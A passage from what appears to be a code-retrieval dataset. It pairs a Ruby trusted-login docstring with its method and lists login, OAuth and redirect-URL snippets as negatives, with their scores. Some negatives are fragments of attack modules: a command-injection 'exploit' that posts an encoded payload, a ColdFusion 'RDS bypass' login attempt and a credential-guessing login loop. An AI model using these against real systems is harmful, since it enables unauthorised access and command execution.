"def get_return_to_path\n # see if it was stored as a parameter. This is the safest way to get\n # the correct URL.\n path = Base64.urlsafe_decode64(params[:return_to]) if params[:return_to]\n # If this data isn't available, try getting the referer instead.\n path ||= request.env['omniauth.origin'] || request.env[\"HTTP_REFERER\"] || \"/\"\n # If we somehow end up on the login page, redirect to root to avoid\n # user confusion\n return \"/\" if path.include?(\"/login\") || path.include?(\"/auth/\")\n # return path\n path\n end",
"def get_AuthorizationURL()\n \t return @outputs[\"AuthorizationURL\"]\n \tend",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/authorize\",\n :token_url => \"/common/oauth2/token\")\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url)\n end",
"def return_url\n validate_payment_url(self, nonce: init_nonce, protocol: return_url_protocol)\n end",
"def auth_code\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end",
"def return(params)\n return_code = params['RETURN_CODE']\n order_number = params['ORDER_NUMBER']\n settled = params['SETTLED']\n contact_id = params['CONTACT_ID']\n incident_id = params['INCIDENT_ID']\n authcode = params['AUTHCODE']\n return nil unless return_code == '0'\n if return_code.present? && order_number.present? && authcode.present?\n cleartext = [return_code, order_number, settled, contact_id, incident_id].compact.join('|')\n if authcode == sha256(@private_key, cleartext)\n return order_number\n end\n end\n nil\n end",
"def get_verification_url\n '/#validation/'+self.id.to_s+'/code/'+self.verification_code\n end",
"def authorize_url\n client.web_server.authorize_url( :redirect_uri => callback_url )\n end",
"def get_ApprovalURL()\n \t return @outputs[\"ApprovalURL\"]\n \tend",
"def two_factor_qr_code_uri\n issuer = Rails.application.credentials.dig(Rails.env.to_sym, :otp_2fa_issuer_name)\n label = [issuer, email].join(':')\n\n otp_provisioning_uri(label, issuer: issuer)\n end",
"def auth_code_url(redirect_uri, user_email = false, user_name = false, permissions = \"manage_accounts,view_balance,collect_payments,refund_payments,view_user,preapprove_payments\")\n url = ui_endpoint + '/oauth2/authorize?client_id=' + client_id.to_s + '&redirect_uri=' + redirect_uri + '&scope=' + permissions\n url += user_name ? '&user_name=' + CGI::escape(user_name) : ''\n url += user_email ? '&user_email=' + CGI::escape(user_email) : ''\n end",
"def store_return_url\n if EcwidPizzeria::Application.config.app.ecwid.order_api_enabled\n # When Ecwid API is configured then delivering/cancelling notification is sent over API.\n # So we redirect user back to shop site Ecwid checkout page if external shop url is present\n if EcwidPizzeria::Application.config.app.shop_external_return_url.present?\n if opt.present?\n if delivered?\n \"#{EcwidPizzeria::Application.config.app.shop_external_return_url}#!/~/checkoutResult/#{opt_to_param}\"\n elsif cancelled?\n \"#{EcwidPizzeria::Application.config.app.shop_external_return_url}#cancelled\"\n end\n else\n EcwidPizzeria::Application.config.app.shop_external_return_url\n end\n end\n else\n # If Ecwid API is not enabled then redirect user back to ePath url if payment is delivered\n delivered? ? return_path : EcwidPizzeria::Application.config.app.shop_external_return_url\n end\n end",
"def login_url(_params, _session)\n authorize_url\n end",
"def two_factor_qr_code_uri\n issuer = ENV['OTP_2FA_ISSUER_NAME']\n label = [issuer, email].join(':')\n \n otp_provisioning_uri(label, issuer: issuer)\n end",
"def set_ReturnURL(value)\n set_input(\"ReturnURL\", value)\n end",
"def login_web_url\n return @login_web_url\n end",
"def lti_launch_content_return_url(url, text='link', title=nil)\n url = CGI::escape(url)\n text = CGI::escape(text)\n\n return_url = \"#{content_return_url}?return_type=lti_launch_url&url=#{url}&text=#{text}\"\n return_url = \"#{return_url}&title=#{CGI::escape(title)}\" if title\n\n return return_url\n end",
"def authentication_url_from_master(master_url, auth_params)\n client = Kontena::Client.new(master_url)\n vspinner \"Sending authentication request to receive an authorization URL\" do\n response = client.request(\n http_method: :get,\n path: authentication_path(auth_params),\n expects: [501, 400, 302, 403],\n auth: false\n )\n\n if client.last_response.status == 302\n client.last_response.headers['Location']\n elsif response.kind_of?(Hash)\n exit_with_error [response['error'], response['error_description']].compact.join(' : ')\n elsif response.kind_of?(String) && response.length > 1\n exit_with_error response\n else\n exit_with_error \"Invalid response to authentication request : HTTP#{client.last_response.status} #{client.last_response.body if debug?}\"\n end\n end\n end",
"def openid_redirect_uri; end",
"def token_params(code)\n { client_id: @id,\n grant_type: 'authorization_code',\n redirect_uri: CGI::escape(@redirect_url),\n code: code }\n end",
"def set_receipt_url\r\n if @PARAM_HASH['RECEIPT_FORM_ID']== 'remote_url'\r\n return @PARAM_HASH['REMOTE_URL']\r\n else\r\n return 'https://secure.bluepay.com/interfaces/shpf?SHPF_FORM_ID=' + @PARAM_HASH['RECEIPT_FORM_ID'] + \r\n '&SHPF_ACCOUNT_ID=' + ACCOUNT_ID + \r\n '&SHPF_TPS_DEF=' + url_encode(@receipt_tps_def) + \r\n '&SHPF_TPS=' + url_encode(@receipt_tamper_proof_seal) + \r\n '&RETURN_URL=' + url_encode(@PARAM_HASH['RETURN_URL']) + \r\n '&DBA=' + url_encode(@PARAM_HASH['DBA']) + \r\n '&AMEX_IMAGE=' + url_encode(@PARAM_HASH['AMEX_IMAGE']) + \r\n '&DISCOVER_IMAGE=' + url_encode(@PARAM_HASH['DISCOVER_IMAGE'])\r\n end\r\n end",
"def locallink\n redirect_to \"http://localhost:3000/auth/facebook/callback?code=#{params[:code]}\"\n end",
"def two_factor_qr_code_uri\n issuer = ENV['OTP_2FA_ISSUER_NAME']\n label = [issuer, email].join(':')\n\n otp_provisioning_uri(label, issuer: issuer)\n end",
"def two_factor_qr_code_uri\n issuer = ENV['OTP_2FA_ISSUER_NAME']\n label = [issuer, email].join(':')\n\n otp_provisioning_uri(label, issuer: issuer)\n end",
"def sign_in_url(ruparams = {})\n url = []\n url << EbayTrader.configuration.production? ? 'https://signin.ebay.com' : 'https://signin.sandbox.ebay.com'\n url << '/ws/eBayISAPI.dll?SignIn'\n url << \"&runame=#{url_encode ru_name}\"\n url << \"&SessID=#{url_encode id}\"\n if ruparams && ruparams.is_a?(Hash) && !ruparams.empty?\n params = []\n ruparams.each_pair { |key, value| params << \"#{key}=#{value}\" }\n url << \"&ruparams=#{url_encode(params.join('&'))}\"\n end\n url.join\n end",
"def daw_login_prompt\n logger.debug '[rdaw] redirecting to login form.'\n rdaw_logout\n\n if respond_to?(:rdaw_login_url, true)\n url = rdaw_login_url\n else\n prefix = Rdaw.const_defined?('DAW_EXTERNAL_URL_PREFIX') ? Rdaw::DAW_EXTERNAL_URL_PREFIX : Rdaw::DAW_URL_PREFIX\n url = [prefix, '/login?appIdKey=', Rdaw::APP_ID_KEY, encoded_daw_return_path].tap do |a|\n a << \"&rv=#{Rdaw::APP_RV}\" if Rdaw.const_defined?('APP_RV')\n end.join\n end\n\n redirect_to(url) and return false\n end",
"def get_authorization_url\n $LOG.i \"requesting authorization URL\"\n \n @oauth2_client.auth_code.authorize_url(:redirect_uri => @config.redirect_uri)\n end",
"def query_string\n (authenticate? && authenticable?) ? signed_query_string : unsigned_query_string\n end",
"def set_receipt_url\r\n if @PARAM_HASH['RECEIPT_FORM_ID']== 'remote_url'\r\n return @PARAM_HASH['REMOTE_URL']\r\n else\r\n return 'https://secure.bluepay.com/interfaces/shpf?SHPF_FORM_ID=' + @PARAM_HASH['RECEIPT_FORM_ID'] + \r\n '&SHPF_ACCOUNT_ID=' + @ACCOUNT_ID + \r\n '&SHPF_TPS_DEF=' + url_encode(@receipt_tps_def) + \r\n '&SHPF_TPS_HASH_TYPE=' + url_encode(@PARAM_HASH['RECEIPT_TPS_HASH_TYPE']) +\r\n '&SHPF_TPS=' + url_encode(@receipt_tamper_proof_seal) + \r\n '&RETURN_URL=' + url_encode(@PARAM_HASH['RETURN_URL']) + \r\n '&DBA=' + url_encode(@PARAM_HASH['DBA']) + \r\n '&AMEX_IMAGE=' + url_encode(@PARAM_HASH['AMEX_IMAGE']) + \r\n '&DISCOVER_IMAGE=' + url_encode(@PARAM_HASH['DISCOVER_IMAGE'])\r\n end\r\n end",
"def authorize_url\n request_token.authorize_url\n end",
"def get_authorize_url\n return get_request_token.authorize_url\n end",
"def authCallback\n begin\n auth_code = params.fetch(\"code\")\n rescue KeyError\n raise \"error: no code param provided\"\n end\n\n from_sso = params.fetch(\"from_sso\", \"0\") == \"1\" \n origin = params[\"origin\"] if params.key?(\"origin\")\n\n redirect_uri_sso = URI(api_args[\"redirect_uri\"])\n redirect_uri_sso.query = URI.encode_www_form(params.select{|k, v| [\"from_sso\", \"origin\"].include? k})\n\n redirect_uri = from_sso ? redirect_uri_sso.to_s : api_args[\"redirect_uri\"]\n\n password_reset = sign_in(auth_code, redirect_uri)\n\n if from_sso\n # we got here from sso, redirect to origin(the page where user entered \n # the site)\n redirect_to origin\n elsif password_reset\n # we got here from email password reset, redirect to change password\n redirect_to \"/#{app.name}/profile_change_password\"\n else\n # since we are in an iframe, reload the parent, not the current window,\n # otherwise we will get nesting.\n render :text => \"<script>window.parent.location.reload()</script>\"\n end \n end",
"def wepay_authorization_url(redirect_uri)\n WEPAY.oauth2_authorize_url(redirect_uri, self.email, self.name)\nend",
"def encoded_daw_return_path\n uri = Rails::VERSION::MAJOR < 3 ? request.request_uri : request.fullpath\n \"&path=#{URI.encode(uri, URI::PATTERN::RESERVED)}\"\n end",
"def secondary_response_code\r\n params['src']\r\n end",
"def check_external_site_request\n unless params.empty?\n external_url_keys = params.keys & Conf.external_site_integrations.keys.collect {|s| s + \"_url\"}\n\n if external_url_keys.size == 1\n external_url_key = external_url_keys.first\n external_url = CGI.unescape(params[external_url_key])\n\n if %w(http https).include?(URI.parse(external_url).scheme)\n session[:came_from] = external_url_key[0..-5] # Strip the _url part\n session[:return_url] = external_url\n else\n raise(\"Invalid return URL given for #{external_url_key}: \\n\\t#{external_url}\")\n end\n elsif external_url_keys.size > 1\n raise(\"#{external_url_keys.size} external URLs specified. Can only cope with one!\")\n end\n end\n end",
"def authorize_uri\n if preferred_test_mode\n 'https://ecommerce.userede.com.br/pos_virtual/wskomerci/cap_teste.asmx/GetAuthorizedTst'\n else\n 'https://ecommerce.redecard.com.br/pos_virtual/wskomerci/cap.asmx/GetAuthorized'\n end\n end",
"def login_url(params={})\n auth_pds_login_url \"load-login\", params\n end",
"def buyer_auth_result_code\n params['CAVV']\n end",
"def token_url(params = nil)\n super\n .tap { |result| __ext_debug(\"--> #{result.inspect}\") }\n end",
"def execute(params)\n fetch_user_data(params[:code], params[:redirect_uri]).then(&method(:authenticate))\n end",
"def generate_link\n 'autologin/'+code\n end",
"def passcode_required\n return @passcode_required\n end",
"def url_to_social_login( provider_key, on_success = nil )\n provider = Aerogel::Auth.providers[provider_key] || {}\n origin = on_success || params['on_success']\n query_string = origin ? \"?origin=#{origin}\" : ''\n \"/auth/#{provider_key}#{query_string}\"\nend",
"def login_url\n generate_login_token unless login_token.present?\n ENV['RESERVE_URL'] + '/sign-in/' + login_token\n end",
"def get_auth_link(state)\n data = {\n scope: \"notify\",\n response_type: \"code\",\n client_id: self.client_id,\n redirect_uri: self.redirect_uri,\n state: state\n };\n\n \"#{self.bot_origin}/oauth/authorize?#{URI.encode_www_form(data)}\"\n end",
"def set_return_path\n Rails.logger.info(\"es287_debug #{__FILE__}:#{__LINE__} params = #{params.inspect}\")\n op = request.original_fullpath\n # if we headed for the login page, should remember PREVIOUS return to.\n if op.include?('logins') && !session[:cuwebauth_return_path].blank? \n op = session[:cuwebauth_return_path] \n end\n op.sub!('/range_limit','')\n Rails.logger.info(\"es287_debug #{__FILE__}:#{__LINE__} original = #{op.inspect}\")\n refp = request.referer\n refp =\"\"\n refp.sub!('/range_limit','') unless refp.nil?\n Rails.logger.info(\"es287_debug #{__FILE__}:#{__LINE__} referer path = #{refp}\")\n session[:cuwebauth_return_path] =\n if (params['id'].present? && params['id'].include?('|'))\n '/bookmarks'\n elsif (op.include?('/book_bags/email'))\n \"/book_bags/email\"\n elsif (params['id'].present? && op.include?('email'))\n \"/catalog/#{params[:id]}\"\n elsif (params['id'].present? && op.include?('unapi'))\n refp\n else\n op\n end\n Rails.logger.info(\"es287_debug #{__FILE__}:#{__LINE__} return path = #{session[:cuwebauth_return_path]}\")\n return true\n end",
"def get_token(code, params={}, opts={})\n params = {:type => 'web_server', :code => code}.merge(client_params).merge(params)\n @client.get_token(params, opts)\n end",
"def redirect_uri\n @redirect_uri\n end",
"def get_auth_url(service)\n config = get_service_config(service)\n request_id = get_request_token(service)\n\n url = String.new\n url << config[:authorize_url]\n url << \"?response_type=code\"\n url << \"&client_id=\"\n url << config[:client_id]\n url << \"&redirect_uri=\"\n url << config[:redirect_uri]\n url << \"&scope=\"\n url << config[:scope]\n url << \"&state=\"\n url << request_id\n\n url\n end",
"def wepay_authorization_url(redirect_uri)\n\t WEPAY.oauth2_authorize_url(redirect_uri, self.email, self.name)\n\tend",
"def xlate_authen_method()\n return AUTHEN_METHOD_XLATES[@authen_method] if (AUTHEN_METHOD_XLATES.has_key?(@authen_method))\n return(@authen_method.to_s) \n end",
"def authorization_url\n url = \"#{host}/OAuth2AccessRequest.action?response_type=code&client_id=#{@client_id}\"\n url += \"&redirect_uri=#{Addressable::URI.escape(@redirect_uri)}\" if @redirect_uri\n url += \"&state=#{@state}\" if @state\n url\n end"
] |
[
"0.6481394",
"0.63911384",
"0.59961337",
"0.5981623",
"0.5864558",
"0.58485264",
"0.58405125",
"0.5830964",
"0.5794528",
"0.5634897",
"0.5624907",
"0.55531347",
"0.5523676",
"0.5517026",
"0.5455011",
"0.53236127",
"0.5314947",
"0.52695024",
"0.52616775",
"0.52417517",
"0.5230726",
"0.5222267",
"0.52218837",
"0.522102",
"0.5195782",
"0.5180539",
"0.5167341",
"0.51586795",
"0.51488286",
"0.51290286",
"0.5115235",
"0.50891274",
"0.505931",
"0.5054311",
"0.50492585",
"0.5031443",
"0.5029783",
"0.50257283",
"0.5023646",
"0.5019967",
"0.50165164",
"0.5010155",
"0.5009666",
"0.49973583",
"0.49922416",
"0.49907446",
"0.49907446",
"0.4989338",
"0.49892452",
"0.4983604",
"0.4963509",
"0.4962498",
"0.49555382",
"0.49540156",
"0.49400505",
"0.49378204",
"0.49365038",
"0.49298164",
"0.49210057",
"0.49100265",
"0.4907414",
"0.49008715",
"0.49001262",
"0.48999995",
"0.4892778",
"0.48589262",
"0.4853731",
"0.48495963",
"0.48348594",
"0.48301205",
"0.48301205",
"0.48288256",
"0.48279312",
"0.48203972",
"0.48162588",
"0.48114768",
"0.48085725",
"0.4798799",
"0.47983366",
"0.47969016",
"0.4790764",
"0.47900397",
"0.47886103",
"0.47876218",
"0.4776432",
"0.47690034",
"0.47687677",
"0.47683844",
"0.47640848",
"0.47638446",
"0.47623542",
"0.47582012",
"0.47570616",
"0.47514617",
"0.474893",
"0.4748891",
"0.47466174",
"0.47464952",
"0.4743871",
"0.47421458"
] |
0.58643675
|
5
|
Returns a table of keyvalue pairs that must be posted to the login URL for trusted login. Use HTTP POST to do this. Be aware that the values in the table are neither URL nor HTML escaped and may have to be escaped if you are inserting them in code such as an HTML form. User to be trusted on the local site is passed in as string 'user'. Optionally, 'retcode' specifies the resource to which successful login is redirected, such as Windows Live Mail, and is typically a string in the format 'id=2000'. If you pass in the value from getAppRetCode instead, login will be redirected to the application. Otherwise, an HTTP 200 response is returned.
|
def getTrustedParams(user, retcode=nil)
token = getTrustedToken(user)
return unless token
token = %{<wst:RequestSecurityTokenResponse xmlns:wst="http://schemas.xmlsoap.org/ws/2005/02/trust"><wst:RequestedSecurityToken><wsse:BinarySecurityToken xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">#{token}</wsse:BinarySecurityToken></wst:RequestedSecurityToken><wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"><wsa:EndpointReference xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"><wsa:Address>uri:WindowsLiveID</wsa:Address></wsa:EndpointReference></wsp:AppliesTo></wst:RequestSecurityTokenResponse>}
params = {}
params['wa'] = securityalgorithm
params['wresult'] = token
params['wctx'] = retcode if retcode
params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def login\n page = agent.get('http://login.live.com/login.srf?id=2')\n form = page.forms.first\n form.login = options[:username]\n form.passwd = options[:password]\n form.PwdPad = ( \"IfYouAreReadingThisYouHaveTooMuchFreeTime\"[0..(-1 - options[:password].to_s.size )])\n query_string = page.body.scan(/g_QS=\"([^\"]+)/).first.first rescue nil\n form.action = login_url + \"?#{query_string.to_s}\"\n page = agent.submit(form)\n \n # Check for login success\n if page.body =~ /The e-mail address or password is incorrect/ ||\n page.body =~ /Sign in failed\\./\n raise( Blackbook::BadCredentialsError, \n \"That username and password was not accepted. Please check them and try again.\" )\n end\n \n page = agent.get( page.body.scan(/http\\:\\/\\/[^\"]+/).first )\n end",
"def get_login_response( server_url, user_email, password )\n a = Mechanize.new\n begin\n page = a.get(\"http://#{server_url}/api/v1/sessions/create?user_password=#{ CGI::escape(password) }&user_email=#{ CGI::escape(user_email) }\")\n JSON.parse(page.body)\n rescue\n puts $!\n end\n end",
"def perform_login_on_codeporting\r\n\t\r\n\tputs \"Sending login call\"\r\n\t#WORKING\r\n\turi = URI.parse(\"https://apps.codeporting.com\")\r\n\thttp = Net::HTTP.new(uri.host, uri.port)\r\n\thttp.use_ssl = true\r\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\tpath = '/csharp2java/v0/UserSignin'\r\n\tdata = \"LoginName=#{$username}&Password=#{$password}\"\r\n\theaders = {\r\n\t\t'Content-Type' => 'application/x-www-form-urlencoded'\r\n\t}\r\n\tresp, data = http.post(path, data, headers)\r\n\r\n\tdoc = REXML::Document.new(data)\r\n\r\n\tretValue = \"\"\r\n\tdoc.each_element('//return') { |item| \r\n\t\tretValue = item.attributes['success']\r\n\t}\r\n\r\n\t$token = ''\r\n\tif (retValue == \"True\")\r\n\t\tdoc.each_element('//Token') { |item| \r\n\t\t$token = item.text\r\n\t\tputs $token\r\n\t\tupload_code_to_codeporting\r\n\t}\r\n\tend\r\n end",
"def login()\n uri = URI('http://54.252.241.122:8000/users/authenticate')\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {email: 'demo1@g.com', password: '*********'}.to_json\n res = http.request(req)\n tkn=JSON.parse(res.body)\n return tkn['result']['token']\nend",
"def login(username, password)\n form_action = \"#{@url_base}/micis/remote/loginPopupValidation.php\"\n page = @agent.post form_action, {\n :username => username,\n :pwd => password,\n :appName => \"MICIS\"\n }\n page\n end",
"def api_user_login(email, password)\n url = user_session_url\n params = {\n email: email,\n password: password\n }\n page.driver.submit :post, url, params\n @api_user_headers = page.response_headers\n end",
"def auth(user, password)\n with_viewstate do | payload |\n login_form_values = {\n \"txtUserName\" => user.to_s,\n \"txtUserPass\" => password.to_s,\n \"cmdLogin\" => \"cmdLogin\",\n \"listSpeed\" => \"Broadband\",\n \"__VIEWSTATE\" => payload,\n }\n \n begin\n @outlook.start do |http|\n form_post = Net::HTTP::Post.new(\"/Remote/logon.aspx\")\n form_post.set_form_data(login_form_values, '&')\n response = http.request(form_post); response.value\n end\n rescue Net::HTTPRetriableError => e\n if e.message =~ /302/ # RWW will return a redirect if the user is found\n return true\n end\n end\n \n return false\n end\n end",
"def login_and_get_initial_page(user_name, password)\n login_page = retrieve_url(\"https://my.idc.ac.il/my.policy\")\n # Check if moved to error page already, and return to main page.\n if login_page.uri.to_s == \"https://my.idc.ac.il/my.logout.php3?errorcode=19\" || login_page.uri.to_s == \"https://my.idc.ac.il/my.logout.php3?errorcode=19\"\n @scrape_logger.info(\"#{__method__} - arrived session TO page on login. Clicking link to return...\")\n puts \"#{__method__} - arrived session TO page on login. Clicking link to return...\" # to do remove\n login_page = login_page.link_with(:text=>\"click here.\").click\n end\n if login_page.uri.to_s != \"https://my.idc.ac.il/my.policy\"\n raise \"failed_to_reach_login_page_exception uri:#{login_page.uri.to_s}\"\n end\n login_form = login_page.form(\"e1\")\n if nil == login_form\n raise \"couldnt_find_login_form_exception #{}\"\n end\n \n login_form.username = user_name\n login_form.password = password\n user_home_page = agent.submit(login_form, login_form.buttons.first)\n # to do - make a better login check, like looking for the login error message\n # maybe look for some contents inside too\n if user_home_page.uri.to_s != \"http://my.idc.ac.il/idsocial/he/Pages/homepage.aspx\"\n raise \"couldnt_login_form_exception uri:#{user_home_page.uri.to_s}\"\n end\n \n return user_home_page\n end",
"def adminapi_login user, password, use_rds\r\n vprint_status \"Attempting ColdFusion Administrator adminapi login\"\r\n user ||= ''\r\n password ||= ''\r\n res = send_request_cgi(\r\n {\r\n 'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),\r\n 'method' => 'POST',\r\n 'connection' => 'TE, close',\r\n 'vars_post' => {\r\n 'method' => 'login',\r\n 'adminUserId' => user,\r\n 'adminPassword' => password,\r\n 'rdsPasswordAllowed' => (use_rds ? '1' : '0')\r\n }\r\n })\r\n\r\n if res\r\n if res.code == 200\r\n vprint_status \"HTTP #{res.code} when authenticating\"\r\n return get_useful_cookies(res)\r\n else\r\n print_error \"HTTP #{res.code} when authenticating\"\r\n end\r\n else\r\n print_error \"No response when authenticating\"\r\n end\r\n\r\n {}\r\n end",
"def login(host)\n # Set the timeout to 15 minutes\n @session_timeout = (Time.new.to_i + 900)\n\n login_headers = { 'referer' => \"https://#{@uri.host}/ipa/ui/index.html\", 'Accept' => 'application/json' }\n\n if @method == :keberose\n login_method = 'login_kerberos'\n gssapi = GSSAPI::Simple.new(@uri.host, 'HTTP')\n # Initiate the security context\n token = gssapi.init_context\n login_headers.merge!('Authorization' => \"Negotiate #{Base64.strict_encode64(token)}\", 'Content-Type' => 'application/json')\n login_request = { method: 'ping', params: [[], {}] }\n elsif @method == :user_pass\n login_method = 'login_password'\n login_headers.merge!('Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/plain')\n login_request = @credentials\n end\n\n login_uri = URI.parse(\"https://#{@uri.host}/ipa/session/#{login_method}\")\n\n resp = @http.post(login_uri, login_request, login_headers)\n\n return unless resp.status != 200\n\n # invalid passowrd could also mean invalid username\n puts \"HTTP #{resp.status.to_s + ':' + resp.reason} Error authenticating user: #{resp.headers['X-IPA-Rejection-Reason']}\"\n end",
"def login\n mandatory_keys = [:app_id, :user_name, :password, :sign]\n if params.slice(*mandatory_keys).values.any?(&:nil?)\n render json: to_response('Some params are lost') and return\n elsif @service_provider.nil?\n render json: to_response('ServiceProvider error') and return\n elsif not CommonUtils.valid_sign?(params[:app_id], params[:user_name], params[:password], @service_provider.credential, params[:sign])\n render json: to_response('Invalid request: parameter error') and return\n end\n\n user = User.find_by_user_name(params[:user_name])\n if user && user.authenticate(params[:password])\n render json: (user.invalid_role? ? to_response('User needs to be activated') : to_response('success', user))\n elsif user.nil?\n render to_response \"User not exist:#{params[:user_name]}\"\n else\n render to_response 'Password error'\n end\n end",
"def login_data\n tbcreds = UserTestbedCredential.where(:user_id => user.id, :testbed_id => testbed.id).first\n logindata = {\n \"authenticationData\" => [\n {\n \"urnPrefix\" => tbcreds.testbed.urn_prefix_list,\n \"username\" => tbcreds.username,\n \"password\" => tbcreds.password\n }\n ]\n }\n logindata\n end",
"def login(args)\n return self.request(:c => :user, :a => :login, :username => args[:username], :password => args[:password])\n end",
"def login\n #this assumes we can get to signin from here\n login = @agent.get('http://www.xanga.com/signin.aspx')\n form = login.form('frmSigninRegister')\n \n #this assumes default domain is xanga\n form.txtSigninUsername = @user\n form.txtSigninPassword = @pw\n \n #this assumes first button will be the submit button\n page = @agent.submit(form, form.buttons.first)\n end",
"def pap_login(session,new_body)\n authen_start = session.authen_start\n\n if (!authen_start.header.minor_version_one?) # pap login requires minor version 1\n new_body.status_fail!\n new_body.server_msg = \"Client sent malformed packet to server for PAP login. \" +\n \"Minor version should be 1 but was #{authen_start.header.minor_version}.\"\n @tacacs_daemon.log(:error,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n elsif (authen_start.body.user_len != 0 && authen_start.body.data_len != 0)\n # determine pass/fail status\n username = authen_start.body.user\n pass_fail = authenticate(username, authen_start.body.data, authen_start)\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n new_body.status_fail!\n new_body.server_msg = \"Client requested PAP login without providing both username and password.\"\n @tacacs_daemon.log(:debug,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n end\n\n return(nil)\n end",
"def login(user_data)\n agent = Mechanize.new\n page = agent.get('http://sga.itba.edu.ar/')\n login_form = page.form\n login_form.user = user_data[0]\n login_form.password = user_data[1]\n login_form.js = 1\n login_form.submit\nend",
"def login\r\n cf_cookies = {}\r\n\r\n ways = {\r\n 'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },\r\n 'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },\r\n 'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },\r\n }\r\n ways.each do |what, how|\r\n these_cookies = how.call\r\n if got_auth? these_cookies\r\n print_status \"Authenticated using '#{what}' technique\"\r\n cf_cookies = these_cookies\r\n break\r\n end\r\n end\r\n\r\n fail_with(Exploit::Failure::NoAccess, \"Unable to authenticate\") if cf_cookies.empty?\r\n cf_cookies\r\n end",
"def exploit\n begin\n # attempt a login. In this case we show basic auth, and a POST to a fake username/password\n # simply to show how both are done\n vprint_status('Attempting login')\n # since we will check res to see if auth was a success, make sure to capture the return\n res = send_request_cgi(\n 'uri' => '/login.html',\n 'method' => 'POST',\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'vars_post' => {\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }\n )\n\n # a valid login will give us a 301 redirect to /home.html so check that.\n # ALWAYS assume res could be nil and check it first!!!!!\n if res && res.code != 301\n fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\")\n end\n\n # grab our valid cookie\n cookie = res.get_cookies\n # we don't care what the response is, so don't bother saving it from send_request_cgi\n vprint_status('Attempting exploit')\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'command.html'),\n 'method' => 'POST',\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'cmd_str' => payload.encoded\n }\n )\n\n rescue ::Rex::ConnectionError\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n end\n\n end",
"def web_login\n\t\temployee = Employee.find(params[:IDnum].to_i)\n if employee && employee.authenticate(params[:password])\n if employee.status = \"Active\"\n \tlog_in employee\n \t\tmsg = { :status => \"Success\", :key => params[:key] }\n \t\trender :json => msg, status: :accepted\n else\n msg = { :status => \"ERROR\", :message => \"App access not granted. Please try again later or contact Human Resources.\" }\n render :json => msg, status: :forbidden\n end\n else\n msg = { :status => \"ERROR\", :message => \"Invalid ID number and password combination\" }\n render :json => msg, status: :forbidden\n end\n\tend",
"def do_auth\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),\r\n 'method' => 'POST',\r\n 'cookie' => \"atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}\",\r\n 'vars_post' => {\r\n 'os_username' => datastore['HttpUsername'],\r\n 'os_password' => datastore['HttpPassword'],\r\n 'os_destination' => '',\r\n 'user_role' => '',\r\n 'atl_token' => '',\r\n 'login' => 'Log+In'\r\n }\r\n })\r\n end",
"def login(name,password)\n\tmechanize = Mechanize.new\n\tagent = mechanize.get('https://catalog.denverlibrary.org/logon.aspx')\n\tform = agent.form_with(:action=> '/Mobile/MyAccount/Logon')\n \n\tuser_field = form.field_with(:id=> 'barcodeOrUsername').value = name\n\tpassword_field = form.field_with(:name=> 'password').value = password\n\taccountpage = form.submit\nend",
"def do_login(user, pass)\n vprint_status(\"#{rhost}:#{rport} - Trying username:'#{user.inspect}' with password:'#{pass.inspect}'\")\n begin\n res = send_request_cgi(\n {\n 'uri' => \"/doms/login/processLogin.php\",\n 'method' => 'GET',\n 'vars_get' =>\n {\n 'login' => user,\n 'passwd' => pass,\n 'tzOffset' => '-25200',\n 'tzString' => 'Thur+May+05+1983+05:05:00+GMT+0700+'\n }\n })\n\n if res.nil?\n print_error(\"#{rhost}:#{rport} - Connection timed out\")\n return :abort\n end\n\n check_key = \"The user has logged in successfully.\"\n\n key = JSON.parse(res.body)[\"statusString\"]\n\n if (not res or key != \"#{check_key}\")\n vprint_error(\"#{rhost}:#{rport} - FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}\")\n return :skip_pass\n else\n print_good(\"#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'\")\n report_cred(\n ip: rhost,\n port: rport,\n service_name: 'SevOne Network Performance Management System Application',\n user: user,\n password: pass,\n proof: key\n )\n return :next_user\n end\n\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE\n print_error(\"#{rhost}:#{rport} - HTTP Connection Failed, Aborting\")\n return :abort\n end\n end",
